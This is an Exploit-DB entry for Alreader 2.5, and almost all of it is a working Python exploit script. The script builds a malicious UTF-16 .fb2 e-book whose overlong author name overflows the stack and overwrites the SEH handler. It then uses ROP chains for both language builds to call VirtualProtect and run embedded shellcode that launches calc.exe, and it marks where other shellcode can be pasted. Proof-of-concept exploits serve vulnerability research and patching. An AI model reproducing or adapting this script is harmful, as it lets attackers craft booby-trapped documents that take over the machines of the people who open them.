Alreader 2.5 .fb2 - SEH Based Stack Overflow ASLR and DEP bypass

2015-10-25T00:00:00
ID EDB-ID:38532
Type exploitdb
Reporter g00dv1n
Modified 2015-10-25T00:00:00

Description

Alreader 2.5 .fb2 - SEH Based Stack Overflow (ASLR and DEP bypass). Local exploit for windows platform

                                        
                                            #!/usr/bin/env python

#*************************************************************************************************************
# Exploit Title:          Alreader 2.5 .fb2 SEH Based Stack Overflow (ASLR and DEP bypass)
# Date:                   25.10.2015
# Category:               Local Exploit
# Exploit Author:         g00dv1n
# Contact:                g00dv1n.private@gmail.com
# Version:                2.5
# Tested on:              Windows XP SP3 / Windows 7 / Windows 8 
# Vendor Homepage:        http://www.alreader.com/index.php?lang=en
# Software Link (ENG):    http://www.alreader.com/download.php?file=AlReader2.Win32.en.zip
# Software Link (RU):     http://www.alreader.com/download.php?file=AlReader2.Win32.ru.zip
# CVE: 



# Description:
# Alreader 2.5 its  free FB2 reader for Windows. 
# FB2 format its just XML. FB2 contain   <author> <first-name> </first-name>  </author>  block. 
# Overflow occurs if you create a long name of the author.
# App used WCHAR  (1 char - 2 bytes ). If we create file in UTF-8 then app turn every single byte into two.
# For example 41 41  -  00 41 00 41
# So We should use UTF-16. 
#
# Also, we can use single null byte in payload.
# 
# 
#
# Instructions:  
# 1. Run this py script for generate AlReader-fb2-PoC-exploit.fb2 file.
# 2. Run Alreader.exe
# 3. Open AlReader-fb2-PoC-exploit.fb2 ( FILE -> Open )
# 4. Enjoy running Calc.exe
#
# Exploit owerview:
# For bypass ALSR I used a ROP style. Main module Alreader2.exe non-ALSR. It also contain calls GetModuleHandleW
# and GetProcAdress. So using this functions I can get pointer to call VirtualProtect to make stack executable and
# run Shellcode.
#
# At overflow overwritten SEH. So we can control EIP. For this spray Jump Adress in payload 
# ( It is necessary to adjust the offset in different systems .)
# Then to get control of the stack we need ADD to ESP some value. (ADD ESP, 808h). Then ESP will point to ROP NOP 
# ( It is necessary to adjust the offset in different systems .)
# Then the control get ROP chain .
# 
# Program have Russian (RU) and English (Eng) versions. 
# ROP chains for them the same but different addresses. ( addresses of ADD ESP, 808h and ROP NOP same for all versions )
# For a combination of two versions into one exploit I place two ROP chains one after another.
# For RU version then an exception occurs, control passes first ROP chain. (ADD ESP, 808h RETN 4 then ROP NOPs )
# For Eng version after ADD ESP, 808h RETN 4 and ROP NOPs  arises yet another exepiton and Call ADD ESP, 808h.
# So ESP jump over first ROP chain. ROP NOP correct offset and Second ROP chain for Eng version, get control.
# With these tricks, the exploit works correctly for both versions.
#
# Below is ANSI-diagram of the payload: 
#
#                              =-------------------------=
#                              |          gdvn           |        just fan magic bytes       
#                              |-------------------------|                         
#                              |                         |
#                              |   jmp from SEH adress   |        x 500    Spray Andress to Jump from oveeride SEH
#                              |                         |                        (ADD ESP, 808h RETN 4) 
#                              |-------------------------|                         
#                              |                         |
#                              |        ROP NOP          |        x 500    Spray  ROP NOP (RETN)   
#                              |                         |
#                              |-------------------------|                         
#                              |                         |
#                              |      ROP chain for      |
#                              |       RU version        |
#                              |                         |
#                              |-------------------------|                         
#                              |        SHELLCODE        |        Run Calc.exe
#                              |-------------------------|                         
#                              |                         |
#                              |        ROP NOP          |        x 250     Spray  ROP NOP (RETN) 
#                              |                         |
#                              |-------------------------|                         
#                              |                         |
#                              |      ROP chain for      |
#                              |       ENG version       |
#                              |                         |
#                              |-------------------------|                          
#                              |        SHELLCODE        |        Run Calc.exe
#                              |-------------------------|                         
#                              |                         |
#                              |      ROP chain for      |
#                              |       ENG version       |
#                              |                         |
#                              |-------------------------|                          
#                              |                         |
#                              |                         |
#                              |          Junk           |        'A' x 6000
#                              |                         |                         
#                              |                         |
#                              =-------------------------=
#
#
#
# 
#
#**************************************************************************************************************




#######################################################################################################
from struct import *

#######################################################################################################
file_result = "AlReader-fb2-PoC-exploit.fb2"


########################################################################################################

fuz_text  = ''                                # init fuzzy string 




jmp_to  = pack('<I',0x00442391 )              # 0x00442391 ADD ESP, 808h RETN 4

ret_NOP =  pack('<I',0x00448147 )             # RETN


##################################### START CREATE ROP CHAINs ############################################

fuz_text += 'gdvn'                              # magic init bytes



fuz_text += jmp_to * 500                        # spray adr



fuz_text += ret_NOP * 500                       # spray RETN adr



####################################### ROP CHAIN FOR RUS VERSION ########################################

# Prepare to call GetModuleHandleW
# EDI = GetModuleHandleW adr
# ESI = ret adr 
# EBP = ptr to unicode 'kernel32.dll'
                  
ret_adr_after = pack('<I',0x0048ddd1 )          # 0x0048ddd1 :  # ADD ESP,30 # RETN    ( this need to correct ESP )
module_handlew_adr = pack('<I',0x004FC8FC )     # 0x004FC8FC GetModuleHandleW adr
kernel32_u = pack('<I',0x0560944 )              # 0x0560944 ptr to unicode 'kernel32.dll'


#0x004904a6 :  #  POP EDI # POP ESI # POP EBP # POP EBX # RETN 
fuz_text +=  pack('<I',0x004904a6 )   + module_handlew_adr + ret_adr_after + kernel32_u

fuz_text +=  '\x41' *  4

                                                
fuz_text +=  pack('<I',0x004f831c )             # 0x004f831c # ADD ESP,24 # RETN

fuz_text +=  '\x41' *  36

fuz_text += pack('<I',0x004b310d )              # 0x004b310d :  # PUSHAD # RETN

fuz_text +=  '\x41' *  28                       # correct after ADD ESP,30


#Junk
#################################################
fuz_text +=  pack('<I',0x004f831c )             # 0x004f831c # ADD ESP,24 # RETN

fuz_text +=  '\x41' *  36
#################################################

#EAX = kernel32 base adr

# Prepare to call GetProcAdress
# EDI = GetProcAdress adr
# ESI = ret adr 
# EBP = kernel32 base adr
# ESP = ptr to ANSII 'VirtualProtect00'


ret_adr_after = pack('<I',0x0048ddd1 )          # 0x0048ddd1 :  # ADD ESP,30 # RETN    ( this need to correct ESP )             

get_proc_adr  = pack('<I',0x0043C8B2 )          # 0x0043C8B2 - GetProcAdress


# 0x004904A8 : # POP EDI # POP ESI # POP EBP # POP EBX # RETN

fuz_text += pack('<I',0x004904A8 )  + get_proc_adr +  ret_adr_after           

fuz_text +=  '\x41' *  8


fuz_text += pack('<I',0x004b9e9e )             # 0x004b9e9e :  # XCHG EAX,EBP # SETE CL # MOV EAX,ECX # RETN

fuz_text += pack('<I',0x004b310d )             # 0x004b310d :  # PUSHAD # RETN

fuz_text += 'VirtualProtect' + '\x00'

fuz_text +=  '\x41' *  17                      # correct ESP pointer 


########################################################
# Prepare registrs for Virtual protect call

# EDI = ROP NOP
# ESI = VirtualProtect adr 
# EBP = Ret adr
# ESP = auto
# EBX = 1 
# EDX = 0x40
# ECX = lpOldProtect (ptr to W address)

# Now in EAX VP adr 

fuz_text += pack('<I',0x00489cdd )              # 0x00489cdd,  # PUSH EAX # POP ESI # RETN 

fuz_text += pack('<I',0x004a6392 )              # 0x004a6392,  # POP EBX # RETN 

fuz_text += pack('<I',0x5DE58BD1 )              # 0x5DE58BD0,  # EBX = 5DE58BD1

fuz_text += pack('<I',0x004e7d31 )              # 0x004e7d31,  # SUB EBX,5DE58BD0 # RETN # EBX = 1

fuz_text += pack('<I',0x004fc23c )              # 0x004fc23c,  # XOR EDX,EDX # RETN  # EDX = 0

fuz_text += pack('<I',0x0040db04 )  * 64        # 0x0040db04,  # INC EDX # ADD AL,3B # RETN x 64 # EDX = 0x40

fuz_text += pack('<I',0x0048c064 )              # 0x0048c064,  # POP ECX # RETN 

fuz_text += pack('<I',0x00629eea )              # 0x00629eea,  # &Writable location 

fuz_text += pack('<I',0x00487d6a )              # 0x00487d6a,  # POP EDI # RETN 

fuz_text += pack('<I',0x004f4401 )              # 0x004f4401,  # RETN (ROP NOP)



fuz_text += pack('<I',0x004e6379 )              # 0x004e6379,  # POP EBP # RETN 

ret_adr_after = pack('<I',0x004f831c )          # ret adr  #  0x004f831c # ADD ESP,24 # RETN


fuz_text += ret_adr_after

fuz_text+= pack('<I',0x004ecfab )               # 0x004ecfab,  # PUSHAD # RETN 

fuz_text +=  '\x41' *  32                       # Correct poiter to ESP



fuz_text += pack('<I',0x004a37bd )              # 0x004a37bd : # jmp esp 

fuz_text += '\x90' * 16                         # NOP's :-)


##################################### END ROP CHAIN #########################################

#############################################################################################
#PASTE SHELLCODE HERE




# Run Calc
shellcode = ("\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7");


fuz_text += shellcode


############################################################################################# 
fuz_text += ret_NOP * 250                       # spray RETN adr

#############################################################################################

############################### ROP CHAIN FOR ENG VERSION ###################################







# Prepare to call GetModuleHandleW
# EDI = GetModuleHandleW adr
# ESI = ret adr 
# EBP = ptr to unicode 'kernel32.dll'
                  
ret_adr_after = pack('<I',0x004cad21 )          # 0x004cad21 :  # ADD ESP,30 # RETN    ( this need to correct ESP )
module_handlew_adr = pack('<I',0x004FC85C )     # 0x004FC85C GetModuleHandleW adr
kernel32_u = pack('<I',0x00560724 )              # 0x00560724  ptr to unicode 'kernel32.dll'


#0x00488ed6 :  # POP EDI # POP ESI # POP EBP # POP EBX # RETN 
fuz_text +=  pack('<I',0x00488ed6 )   + module_handlew_adr + ret_adr_after + kernel32_u

fuz_text +=  '\x41' *  4

                                                
fuz_text +=  pack('<I',0x004a8ee8 )             # 0x004a8ee8 # ADD ESP,24 # RETN

fuz_text +=  '\x41' *  36

fuz_text += pack('<I',0x004b3ded )              # 0x004b3ded :  # PUSHAD # RETN

fuz_text +=  '\x41' *  28                       # correct after ADD ESP,30


#Junk
#################################################
fuz_text +=  pack('<I',0x004a8ee8 )             # 0x004a8ee8 # ADD ESP,24 # RETN

fuz_text +=  '\x41' *  36
#################################################

#EAX = kernel32 base adr

# Prepare to call GetProcAdress
# EDI = GetProcAdress adr
# ESI = ret adr 
# EBP = kernel32 base adr
# ESP = ptr to ANSII 'VirtualProtect00'


ret_adr_after = pack('<I',0x004cad21 )          # 0x004cad21 :  # ADD ESP,30 # RETN    ( this need to correct ESP )             

get_proc_adr  = pack('<I',0x0043C8B2 )          # 0x0043C8B2 - GetProcAdress


# 0x00488ed6 : # POP EDI # POP ESI # POP EBP # POP EBX # RETN

fuz_text += pack('<I',0x00488ed6 )  + get_proc_adr +  ret_adr_after           

fuz_text +=  '\x41' *  8


fuz_text += pack('<I',0x004b9dfe )             # 0x004b9dfe :  # XCHG EAX,EBP # SETE CL # MOV EAX,ECX # RETN

fuz_text += pack('<I',0x004b3ded )             # 0x004b3ded :  # PUSHAD # RETN

fuz_text += 'VirtualProtect' + '\x00'

fuz_text +=  '\x41' *  17                      # correct ESP pointer 


########################################################
# Prepare registrs for Virtual protect call

# EDI = ROP NOP
# ESI = VirtualProtect adr 
# EBP = Ret adr
# ESP = auto
# EBX = 1 
# EDX = 0x40
# ECX = lpOldProtect (ptr to W address)

# Now in EAX VP adr 

fuz_text += pack('<I',0x00489c3d )              # 0x00489c3d,  # PUSH EAX # POP ESI # RETN 

fuz_text += pack('<I',0x00481c40 )              # 0x00481c40,  # POP EBX # RETN 

fuz_text += pack('<I',0x5DE58BD1 )              # 0x5DE58BD0,  # EBX = 5DE58BD1

fuz_text += pack('<I',0x004e7c91 )              # 0x004e7c91,  # SUB EBX,5DE58BD0 # RETN # EBX = 1

fuz_text += pack('<I',0x004fc19c )              # 0x004fc19c,  # XOR EDX,EDX # RETN 

fuz_text += pack('<I',0x0040db04 )  * 64        # 0x0040db04,  # INC EDX # ADD AL,3B # RETN x 64 # EDX = 0x40

fuz_text += pack('<I',0x004f39dc )              # 0x004f39dc,  # POP ECX # RETN 

fuz_text += pack('<I',0x0062909d )              # 0x0062909d,  # &Writable location 

fuz_text += pack('<I',0x00495df4 )              # 0x00495df4,  # POP EDI # RETN 

fuz_text += pack('<I',0x00483a02 )              # 0x00483a02,  # RETN (ROP NOP)



fuz_text += pack('<I',0x004fb3c6 )              # 0x004fb3c6,  # POP EBP # RETN 

ret_adr_after = pack('<I',0x004a8ee8 )          # ret adr  #  0x004a8ee8 # ADD ESP,24 # RETN


fuz_text += ret_adr_after

fuz_text+= pack('<I',0x004b3ded )               # 0x004b3ded,  # PUSHAD # RETN 

fuz_text +=  '\x41' *  32                       # Correct poiter to ESP



fuz_text += pack('<I',0x004757a7  )              # 0x004757a7  : # jmp esp 

fuz_text += '\x90' * 16                         # NOP's :-)


fuz_text += shellcode








##############################################################################################
fuz_text += '\x41' * 6000                       # final junk


################################ GENERATE utf-16 fb2 file ####################################

start = '''
<?xml version="1.0" encoding="unicode-utf_16"?>
<FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink">
  <description>
    <title-info>
      <author>
        <first-name> 
    '''

end   = '''
   <middle-name/>
        <last-name/>
      </author>
      <book-title>EXPLOIT TEST</book-title>
	 </title-info>
    </description>
</FictionBook>
'''
start_u = start.encode('utf-16')

end_u = end.encode('utf-16')

fout = open(file_result, 'wb')
fout.write(start_u)
fout.close()

fout = open(file_result,'ab')
fout.write(fuz_text)
fout.close()

fout = open(file_result,'ab')
fout.write(end_u)
fout.close()


print "[*] File successfully created !!\n\n"